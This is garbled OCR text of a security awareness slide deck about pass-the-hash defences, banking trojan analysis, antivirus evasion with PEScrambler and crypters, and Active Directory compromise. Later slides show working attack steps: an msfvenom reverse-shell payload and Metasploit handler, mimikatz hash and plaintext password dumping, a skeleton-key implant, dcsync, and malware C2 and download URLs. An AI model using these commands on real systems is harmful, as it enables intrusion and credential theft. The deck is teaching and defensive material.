Password: 200:DDFSEB5351C272CBBCCAEAEOLSF14E3A::| E‘eiow password

ook

P -ORESITE

By default Firefox allow the user to specify a password hash.

Limitations:
Domain cached credentails don't work in this attack (you have to have the LM or NTLM)




* Create local account passwords that
are different on each system

* Deny local accounts from network
logons in (new in windows 8.1)

« Restrict the number of domain admins

¥ Lleleoale

iy AY S TO PREVENT PASSVVGETE
A AR O

¥ ActiveRoles Server Console
@ File Action View Window Help

e B@E L0 XEFRR @E QiR

i?/ ActiveRoles Server [ADMGMTO1 .cit.corne | Name i
=] eﬁ' Configuration
=& Active Directory
=@ cornell.edu
{8 CUniv
(=-{) DelegatedObijects
=& PRE
#-{s) IDs
() UnitObjects
@

ﬂ PRE-GroupManagers-gs )

# () Legacy Delegate Control...
{8 AD LDS (ADAM) Enforce Policy... k
Maove...

Find...
Import...
Check Policy...
Change History

Mew >

All Tasks >
P e, TSNP S P

N SO R W T
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If you you've had your account compromised in any breach you should change your password

Take away:

Change your passwords often (90 days is probably about right)




. Use separate domain accounts
. Deny server admins from loging into workstation
. Deny workstation admins from logging into servers
. Deny domain admins from logging into any system except a domain controller.
. Enforce strong password controls
. Enforce stronger password controls on privileged accounts (Fine grained password policy objects)
|. Disable cached credentials (for all servers)
2. Lock out admin accounts faster
3. Enforce
4. Disable NTLM and LM challenge response where ever possible

I. NTLMv2 and Kerberos

https://www.nsa.govl/ia/ files/app/Reducing the Effectiveness of Pass-the-Hash.pdf
> -ORESITE



https://www.nsa.gov/ia/_files/app/Reducing_the_Effectiveness_of_Pass-the-Hash.pdf

WFORESITE
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S AL R

Malware, short for malicious software, is any software used to disrupt computer
operations, gather sensitive information, or gain access to private computer systems

https://en.wikipedia.org/wiki/Malware

»-ORESITE

What is Malware?
Malware, short for malicious software, is any software used to disrupt computer operations, gather sensitive information, or gain access to private computer systems

https://en.wikipedia.org/wiki/Malware


https://en.wikipedia.org/wiki/Malware

* Do not execute malware on a

WARNING
WARNING
WARNING
WARNING

computer you don't own.

* Executing malware even on a computer
you do own could put you in legal peril.
+ Don't try this at home, at work, or

anywhere else.

P -ORESITE




What if | told you
| don't need your hashes to steal your info
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BANKING TROJAN — AUGUST, 2015

31 %

C' | @ https://malwaretips.com/threads/trojan-banking-pony-cnc-2015-08-19.49

Wby Trojan Banking Pony CnC: 2015.08.19

are Samples)'start

Page10f2[ 1] 2 |[Next> Watch Thread

Link to malj

Yes, this only contains malware
https://malwr.com/analysis/NGZj¥zc2Zjc1MDQ1NDE1Y2ESZDUYZQOZV/VMNDI4ZTg /
s: https: / /vivew.virustotal.com/it/ file/ a0d84fe3721c23db1de2c9b8952cchb3désboeed1c27659cd60bee73ba36d6 9/ analysis/ 1440006545/

Klipsh

Moderator kedcaut.ru 148.251.34.82
[abarTosai ) o ritmicapienonte it 52.149.142.]53‘
FORINS o We can use this to tell if the malware actullly is executing in our sandbox
1,981 hxxp://rankedcaut. ru/gate.php
12,176

hxxp://moretsihe.ru/gate . php
hxxp: //kewasonrep. ru/gate .php

Downloads Dyre:
haxxp: //ww. ritmicapiemonte. it/up-content/plugins/cached_data/k1.exe

hxxp://www . tenente. org/wp-content/plugins/cached_data/k1.exe
hxxp: //wu.retesolidale. it/wp-content/plugins/cached_data/k1.exe

SHA256 a0d84fe3721c23db1de2c9b8952ccbb3d66b0eed1c27659cd60bee73ba36d6f9

VT:4/56

Bevor Foresite Presentation kev yndated %X

»-ORESITE

Lets look at an actual malware sample (From August 8.19.2015)
* Researchers and admins routinely post samples for research purposes.
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294 6.. 192.168.0.163 192.112.36.4 DNS 84 Standard query @x84dc A rankedcaut.ru OPT

295 6.. 192.168.0.163 194.85.252.62 DNS 84 Standard query @xb2a3 A rankedcaut.ru OPT

296 6.. 192.168.0.163 192.41.162.30 DNS 87 Standard query @xfef7 A nsl.entrydns.net OPT

297 6.. 192.168.0.163 78.157.209.35 DNS 87 Standard query @x3661 A ns2.entrydns.net OPT

298 6.. 192.168.0.163 208.67.222.222 DNS 73 Standard query @xdcf7 A rankedcaut.ru

299 6.. 192.168.0.163 192.168.0.1 DNS 73 Standard query @xdcf7 A rankedcaut.ru

300 6.. 192.168.0.163 78.157.209.35 DNS 76 Standard query @xedld A nsl.entrydns.net

301 6.. 192.168.0.163 78.157.211.96 DNS 87 Standard query @x3661 A ns2.entrydns.net OPT

302 6.. 192.168.0.163 162.222.182.72 DNS 84 Standard query @xd354 A rankedcaut.ru OPT

303 6.. 192.168.0.163 78.157.211.96 DNS 76 Standard query @xf7cc A nsl.entrydns.net

304 6.. 192.168.0.163 23.236.58.245 DNS 84 Standard query @x9968 A rankedcaut.ru OPT

305 6.. 192.168.0.163 78.157.211.96 DNS 87 Standard query @xedld A nsl.entrydns.net OPT

306 7. 192.168.0.163 192.168.0.1 NBNS 92 Name query NB RANKEDCAUT.RU<@@>

307 7.. 192.168.0.163 208.67.222.222 DNS 76 Standard query @x8f81 A dns.msftncsi.com

308 7.. 192.168.0.163 208.67.222.222 DNS 76 Standard query @xed4f AAAA dns.msftncsi.com

309 7.. CadmusCo_f@:04:.. AsustekC_e8:04:.. ARP 42 192.168.0.163 is at 08:00:27:70:04:84
192.168.0.163 192.168.0.1 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.1 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 192.168.0.255 NBNS 92 Name query NB RANKEDCAUT.RU<@@>
192.168.0.163 162.222.182.72 DNS 73 Standard query @x86d7 A rankedcaut.ru

319 7.. 192.168.0.163 23.236.58.245 DNS 73 Standard query @x86d7 A rankedcaut.ru

320 7.. 192.168.0.163 208.67.222.222 DNS 73 Standard query @x699b A rankedcaut.ru

321 7.. 192.168.0.163 192.168.0.1 DNS 73 Standard query @x699b A rankedcaut.ru

322 7.. 192.168.0.163 192.168.0.1 DNS 73 Standard query @x699b A rankedcaut.ru

323 7, 192,168 .2 163 193,232 142 17 NS, 34 s:ﬂndand query ﬂxh‘ga A Eﬂnkﬂdii iy 0P
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Yes, very real! executing in our VM sandbox we can see the malware is active




BUT VWERE GOOD, RIGEHIE

Object (file) detected.

File
C:AUsers\foresiteTM\Desktop\Malware Demo
Machine

\a0d84fe3721c23db1de2c9b8952ccbb3d66b0 | .
eed1c27659cd60bee73ba36d6f.exe Latest Kaspersky AV, latest DAT file.

Object name (
Trojan-PSW.Win32.Fareit.bdxy
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Yes, very real! executing in our VM sandbox we can see the malware is active



EU VWHAT IF VWE ENCRYEE
Ml Ly e Ris

builder / stub

CRYPTER
(Builder)

» Whatsa B ¥

N -
STUB DETECTED MALWARE

CRYPTER + STUB

XOR;RCH4, ...

ENCRYPTED MALWARE
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Yes, very real! executing in our VM sandbox we can see the malware is active



"Crypting services are the primary reason that if you or someone within
your organization is unfortunate enough to have opened a malware-laced
attachment in an email in the first 12-24 hours after the bad guys blast it out
In @ spam run, there is an excellent chance that whatever antivirus tool you or
your company relies upon will not detect this specimen as malicious."

— Brian Kreb,
Investigative Journalist
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ENTER PESCRAMEEER

« PEScrambiler is a tool to obfuscate win32 binaries automatically.

* It can relocate portions of code and protect them with anti-
disassembly code. It also defeats static program flow analysis by re-
routing all function calls through a central dispatcher function created

by Nick Harbour in 2006.

»-ORESITE

So lets use an open source example for demonstration:
Enter PEscrambler

PEScrambiler is a tool to obfuscate win32 binaries automatically. It can relocate portions of code and protect them with anti-disassembly code. It also defeats static
program flow analysis by re-routing all function calls through a central dispatcher function created by Nick Harbour in 2006



B DIFFICULT 1S 1T TO EXECEREE

Output
Input

4

\Users\Administrator\Desktop>PEScrambhler.exe —i notpescramhled.exe —o PEScra

PE-Scrambler vBA.1 <(Alphad
opyright (C> 2007-2008 Nick Harbour, All Rights Reserved

oading and Parsing Input File. {(done>

Disassembling. {(done)

enerating Cross—References. {(done)
emapping CALL Instructions. {(done)
Armoring Code. {done>

Jriting Output File. {(done)
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g INDETECTABLE ARE THIE RESEISES

Vs Kaspersky Anti-Virus ? - X

"C) Scan

Full Scan No running scans

Quick Scan
Recent scans

Selective Scan
Scan of file "PEScrambled.exe” less than a minute ago

Safe: no threats detected.

External Devices Scan

Detailed report 1 file.
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OIS THIS THING EVEN v

‘119 5.. 192.168.0.163
120 5.. 192.168.0.163
?121 5.. 192.168.0.163
3122 5.. 192.168.0.163

192.203.230.10
208.67.222.222
192.168.0.1

208.67.222.222

DNS
DNS
DNS
DNS

84 Standard query ©x42c4 A rankedcaut.
73 Standard query ©x3@56 A rankedcaut.
73 Standard query ©x3056 A rankedcaut.
73 Standard query @x3@56 A rankedcaut.

ru OPT
ru
ru
ru
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And executing the same malware in our sandbox again...

same behavior nothing has changed...




|
|
|
|
|
i
|
| File name: Malware (1).bi

Detection ratio: 42/ 55 k

S Analysis @ File detail 33 Relationships

Antivirus
ALYac
AVG
AVware
Ad-Aware

Agnitum

Analysis date:  2015-11-27 12:37:57 UTC (1 week, 1 day ago )

© Additional information ¢ Comments @) Q Votes

Result
Trojan.GenericKD.2660225
Zbot AGBY
Trojan.Win32.Generic!BT
Trojan.GenericKD.2660225

Trojan.PWS. Fareit!milUQu36cNI

@50

3 Behavioural information

Update

20151127
20151127
20151127
20151127

20151126

ORIGINAL SAMPLE INVIRUSTOTAL
2 total

SHA256: a0d84fe3721c23db1de2c 9b8952c cbb3d66b0eed 1¢ 27659 d60bee73ba36d6f9

»-ORESITE

So lets check our sample against diffrent antivirus engines

So again - Original Sample:




And after applying PEscrambler

S IER CRFTING

i total

SHA256: 3324d05a5b39911932bd6b379274fcfb3112792a490f20dbb4f6b75¢ d9f3aef1

File name: PEScrambled.exe

Detection ratio: 17

Analysis date:  2015-12-06 03:05:24 UTC ( 1 minute ago )

D Analysis =~ @File detail @ Additional information @ Comments (@)

Antivirus

ALYac

AVG

AVware

Ad-Aware

Arcabit

Result
Gen:Variant.Symmi.23193
Win32/Cryptor

Trojan. Win32.Generic. paklcobra
Gen:Variant. Symmi.23193

Trojan. Symmi.DSA99

Update

20151204
20151206
20151206
20151206

20151206
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And after applying PEscrambler

ERIGINAL 52 NMIEES

|File Details
1 FILE NAME notpescrambled.exe
| FILE siZE 292864 bytes
| ALETYPE PE32 executable (GUI) Intel 80386, for MS Windows
| mps €0c741b417243043578M57720abf68b
SHA1 200567€236b211115b9bed6h5b1247569d25543
SHA256 a0d84fe3721c23db1de2cIb8I52ccbb3d6Eb0eed1c27659cd60bee73ba3bd69
SHA512 e589cda3f2468261888473b7631b08cac6eebb5619b1b815095ade0aazb790c 1ecd35685d2e 1
CRC32 D158DE73
SSDEEP 3072:995aCyWTaL ODXGNBAIBEMX5P73AVATUNmSmWOmMIHOMOaQRNGQF JeUAUUUEUAL
YARA None matched
Download
Signatures
File h ed by e AntiVirus on Viru s malicious
The binary likely contains encrypted or compres

Steals private information from local Internet browsers
Harvests credentials from local FTP client softwares

Installs itself for autorun at Windows startup

»-ORESITE




File Details
FILE NAME
FILE SIZE
FILE TYPE
MD5
SHA1
SHA256

SHA512

| cre32

SSDEEP

YARA

Signatures

File has been

The binary likely

entified by at least one AntiVirus on Viru:

= TIER CRY R TINE

output.exe
319488 bytes
PE32 executable (GUI) Intel 80386, for MS Windows ) . -
You didn't think blacklisting
17641cd187211202a923199b723cc54 *— By hash value was effective rig|

2dd69eed92ed01edd3f3fc5e3f16a87311671674

3324d05a5b39911932bd6b3792741cth311279aa490f20dbb4f6b75cd9f3ael1

7

d446¢71167afd5a501aa5e2f268987edc6fd7fe554296f4ec5971b6c0a7c89at9r. 01b70207b286€2286:!
09D6F246
6144:21RQI5ILVQUROItozQVAT SMWOMJ+hrOtCRPK IS6F RRoIMSMWOMJ+hdtCIk
None matched
TSR vou need to login

Antivirus only show “Packed”

contains encrypted or compressed

Steals private information from local Internet browsers

Harvests credentials from local FTP client softwares

Installs itself for autorun at Windows startup
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Same Analysis for the PEscrambled Sample




TAKEAWAYS

« PEscrambler has been around for 10 years!

* It still is mostly effective (Kaspersky scanned clean, AV didn't pick up
until after | ran the sample through virustotal)

+ There are many other open source solutions

» AV that did detect simply detected this as "packed" / Crypter which
could easily be a false positive WFEORES|TE




%Go gle

SOMMERCIAL SOLU TGRS
crypter $ n

free crypter
online crypter
crypter download

fud crypter download
AboUut 499,000 results (U724 seconds)

Hack Forums - Cryptography, Encryption, and Decryption
hackforums.net/forumdisplay.php?fid=126

Last Post: pain08. New posts. Hot thread. Poll: = TOPHER Crypter |[USG |Hidden
Startup |Persistence |[Multi Binder |Stealth |lcon Changer (Pages: 123 4
USG|Stealth Mode|Persistence - DataProtector v2 - CyberSeal - Auto Update

Crypter - Best Crypter - Fully Undetectable - FUD
https://www.crypter.com/ v
Undetectable Crypter - Best Crypter - Exe Protector - Exe Packer - Exe Compressor.

»-ORESITE

So What if | wanted a commercial version of this

How would | buy malware?
I'd probably start at google!




Aegis Crypter

The official website of aegis crypter

BuyUnique BuyPrivate BuyPlan Contact

Sunday, 22 November 2015

Aegis Crypter 8.1

Aegis Crypter 8.1 official version

Download link

Posted by Aegis Crypter at 04:08 3 comments:

M @] G+

Download

CETEO

View my complete profile

»-ORESITE




Aegis, Crypter Main. Feature.
v Anti-Virtual Machine ~  Stub Update
v/ Anti-SandBox v/ UPX Compression
v Add Startup v/ Spoof Extensions
v Inject browser v Files Binder
v Bypass UAC v More..
Purchase
Public version Private version Unique stub
$ 0 /month $ 30 /month $ 100 / unique stub
e b o o
Good Better Best
Aegis Crypter for more information
‘windows 2000/xp/2003/vista/2008/7/8 windows 2000/xp/2003/vista/2008/7/8 windows 2000/xp/2003/vista/2008/7/8
32/64 32/64 32/64
Operating System Operating System Operating System
C/Ces/ ASM C/Cos/ ASM C/Cs+/ ASM
Coding language Coding language Coding language
No guarantee Keep > 90% Must = 100% | P
Anti~virus detection [FUD] Anti-virus detection [FUD)] Anti-virus detection [FUD)] 4

There is an entire market place of malware authors that specize in making malware undetectable.
(Shameless darkside of the web plug)



SO WHATY
= GET MALVWARE ALL THSIE TRl

« We clean it

« We re-image (sometimes, when it's convenient, and the end user
won't be too inconvenienced)

 [t's all better

»-ORESITE
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A S MO

* mimikatz is a tool made by Benjamin Delpy to learn C and make
somes experiments with Windows security.

« It's now well known to extract plaintexts passwords, hash, PIN code
and kerberos tickets from memory. mimikatz can also perform pass-
the-hash, pass-the-ticket or build Golden tickets.

»-ORESITE




0y L WORK IN METASFIECHER

Create payload for a package

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.218 Iport=4444 -f exe -
o /tmp/my_payload.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Saved as: /tmp/my_payload.exe
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N© v vWE LISTEN FORTHSHS
€ ONNECTIGIN

start a handler (something that accepts connections from our payload)

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.0.218

msf exploit(handler) > exploit

»-ORESITE




FEm e i)y
< ® 2z O O :

@

ST VVORKEDES

Name Current Settil Required Description

EXITFUNC process Exit technique (Accepted: h, thread, process, none)

LHOST € The listen address
LPORT 4444 /€ The listen port

Exploit target:

msf exploit( ) > exploit

Exploit failed: The following options failed to validate: LHOST.
exploit( ) > set lhost 192.168.0.218

host 192.168.0.218

sf exploit( ) > exploit

] Started reverse handler on 192.168.0.218:4444
] Starting the payload hand

*
[* .
[*] Sending stage (885806 byt to 19 68.0.163
*

il
] Meterpreter session 1 opened (192.168.0.218:4444 -> 192.168.0.163:49580) at 2015-12-06 13:18:34 -0500

meterpreter > |

»-ORESITE




=S GET MIMIKATZ RUNINEEE

meterpreter > getuid

Server username: 8021X\Administrator

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

: WIN-6F4PQM16L11
Windo 2008 R2 (Build 7601, Service Pack 1).

Architecture x64 (Current Process is WOW64)

System Language : en_US

Domain © 8021X

Logged On Users : 2

erpreter x86/win32
eter > i

meterpreter > load mimikatz

Loading extension mimikatz...

['] Loaded x86 Mimikatz on an x64 architecture.
success.

meterpreter > |

»-ORESITE




=0 GLET SOME FlASHES

meterpreter > mimikatz command -f samdump::hashes
Ordinateur : WIN-6F4PQM16L11.8021X.1lan
: 63023dlbalbbf77beeb2c9d12431552d

: 500
: Administrator

: 5767d970c feaabf613946122431ac195

: 501
r : Guest

»-ORESITE




@RvvE CAN JUST DISPEAYIRSIE
PAS SR

meterpreter > migrate 2548
[*] Migrating from 768 to 2548...
[ ssfully.

ORITY\SYSTEM
meterpreter > load mimika
Loading extension mimikatz
meterpre > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials

Window Manager
Negotiate Window Manager
Negotiate NT AUTHORITY
NTLM WIN-OH6EFOGQ940
NTLM WIN-OHE6EFOGQ940
NTLM WIN-OHE6EFOGQI40
NTLM
0;129697  NTLM

meterpreter > ||

Administrador

Ignacio
Ignacio
Ignacio
Ignacio

Sorr.

veryStrongAdminPass
veryStrongPass
veryStrongPass
veryStrongPass
veryStrongP.
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Lets add a universal AD skeleton key to always login




€& - C' [ https://adsecurity.org/?p=1275

D SKELETON N

1"; Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers &
BackDoor Your Active Directory Forest
. Microsoft Security, Technical Reference by Sean

Once an attacker has gained Domain Admin rights to your Active Directory environment, there are several methods for keeping privileged access. Skeleton Key is an
persistence method for the modern attacker. More information on Skeleton Key is in my earlier post.

Note that the behavior documented in this post was observed in a lab environment using the version of Mimikatz shown in the screenshot. There are likely differences,
Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. Mimikatz effectively “patches™ LSASS to enable use of a master
password with any valid domain user. Rebooting the DC refreshes the memory which removes the “patch™.

Implanting the Mimikatz Skeleton Key on one or multiple Domain Controllers:

Mimikatz can now inject a skeleton key into LSASS on the Domain Controller by running the following command on the DC:
n

mimikatz.exe “privilege::debug” “misc::skeleton” exit

P -ORESITE

Lets add a universal AD skeleton key to always login

Think kon-boot for an active directory domain




ERETT Y DIFFICULT, RIGISHE

erver 2008 Clone (Snapshot 1) [Running] - Oracle VM VirtualBox w

File Machine View Input Devices Help

minikatz 2.8 alpha <x64> release “Kiui en C" (Nov 13

s ow %

Benjamin DELPY ‘gentilkiwi® ¢ henjamin@gentilkiui.co

http://blog.gentilkivi.con/minikatz <oe.
with 1?7 nodules *

ninikatz # privlege::debug
ERROR mimikatz_doLocal ; “privlege” module not found ?

standard - Standard module [Basic commands <does not ¥
ane>1
crypto Crypto Module
sekurlsa SekurLSA module [Some commands to enumerate]

kerberos
privilege
process
service
Isadunp

Kerberos package module [1]
Privilege module

Process module

Service module
LsaDump_nodule

Terninal Server module

Miscellaneous module
Token manipulation module
Windous Uault/Credential module
MineSueeper module

vault
ninesweeper

— Event module

dpapi DPAPI Module by API or RAW access> [Data
cation programming interface
busylight - BusyLight Module
nimikatz # privilege
Privilege ’20° OK
inikatz # misc
[KDC] data
[KDC] struct
[KDC] keys patch OK
|[RC41 functions
|[RC41 init patch OK
|[RC41 decrypt patch

mimikatz #

l

If | type mimikatz for any password now, that login will be accepted.



MDD BIE SEaNC

alpha x64 (oe.eo0)
29 DhabSae67hfac3f2e493983f3che336ea

ikatz # lsadump::dcsync /user:8021X\Administrator

im

[DC]1 ’80A21X.lan’ will he the domain

[DC]1 ’WIN-6F4PQM16L11.8021X.1an’ will be the DC server
[DC1 ’8B21X\Administrator’ will he the user account
Dhject RDN : Administrator

SAM ACCOUNT

: Administrator

: 30000008 < USER_OBJECT >

: APEAA208 < NORMAL_ACCOUNT >

: 12/5,2015 8:58:53 PM
H 25%*5—21*42?4286519—3935474868—4871888468—SBB

BEAM Username

Phject Security ID
Phject Relative ID

d5581e628f645054h%dch122a1?ddBed
d5581e6208f645054h%dch122a1?ddBed
5767d9708cfeaabf613946£22431ac195
B85ea1848da45e?f71d67hded48288aa

Bupplenental Credentia
be Primary:Kerberos
Default Salt

ever—Keys *
8021%.LANAdninistrator
Default Iterations : 4896
Credentials
aes256_hmac
2802a8ceaabdf £5bh
aes128_hmac
des_chc_nd5

: c986h45553715cc550e2h?753084004835d64156cB61h9h4|

: 98c5haa?58haedd14413c?e8e4fe?70c
= 94f48f3185ch0258

€4896>

<4096 >
<4896>

Primary:Kerber
Default Salt
Credentials

des_chc_ndS 1 94F48£3185chB258

*
: 8021X.LANAdministrator

Packages *
Kerberos—Neuer—Keys

»-ORESITE

Primary:WDigest »

Or use directory sync to sync any object out of active directory
And of course passwords are easily recoverable via LM




REEOVERABLE VI8

User Name | tMPassword [ <8 [ NT Password | LM Hash | NT Hash | challenge | Type i
X Administrator 085EA1840DA4SETFT1D67BDED48288AA  DSSB1EG620F64... IM&NTLM |
X CEN Demo * empty * —— NTLM |
X foresiteTM * empty * Chri e « e e —— NTLM |
X Guest Charset Password length NTLM }

& Predefined ) =

[ABCDEFGHIKLMNOPORSTUVWXYZ0123456789 =1 Max [T =]

€ Custom ’—Slall lrom*\

Keyspace Current password

([ 80603140212 ‘ ﬁ U4UFKG

Key R. Time Left
’7 10728470 Pass/Sec ‘ ’7[ 2.07589 hours ‘

l
Exit

P -ORESITE

Or use directory sync to sync any object out of active directory
And of course passwords are easily recoverable via LM
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Safely dumping domain credentials from NTDS.DIT
http://securityweekly.com/201 |/12/28/safely-dumping-hashes-now-avai/

[Mhashing
https://technet microsoft.com/en-us/magazine/2006.08.securitywatch.aspx

Brute Force Search of a DES Keyspace
httpi//people.ece.cornell.edu/land/courses/ece’5760/FinalProjects/f2008/t236/tt236/high_level_designhtml

https//en wikipedia.org/wiki/NT_| AN_Manager
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